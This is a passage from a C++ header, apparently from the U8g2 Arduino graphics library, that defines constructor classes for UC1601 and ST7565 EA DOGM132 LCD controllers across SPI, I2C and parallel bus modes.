= U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_6800 : public U8G2 {\n  public: U8G2_UC1601_128X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_8080 : public U8G2 {\n  public: U8G2_UC1601_128X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_6800 : public U8G2 {\n  public: U8G2_UC1601_128X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_8080 : public U8G2 {\n  public: U8G2_UC1601_128X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1601_128X32_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1601_128X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1601_128X32_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1601_128X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1601_128X32_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1601_128X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_6800 : public U8G2 {\n  public: U8G2_UC1601_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_8080 : public U8G2 {\n  public: U8G2_UC1601_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_6800 : public U8G2 {\n  public: U8G2_UC1601_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_8080 : public U8G2 {\n  public: U8G2_UC1601_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1601_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_6800 : public U8G2 {\n  public: U8G2_UC1601_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_8080 : public U8G2 {\n  public: U8G2_UC1601_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1601_128X64_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1601_128X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1601_128X64_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1601_128X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1601_128X64_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1601_128X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1601_128X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1601_i2c_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM132_1_6800 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM132_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass 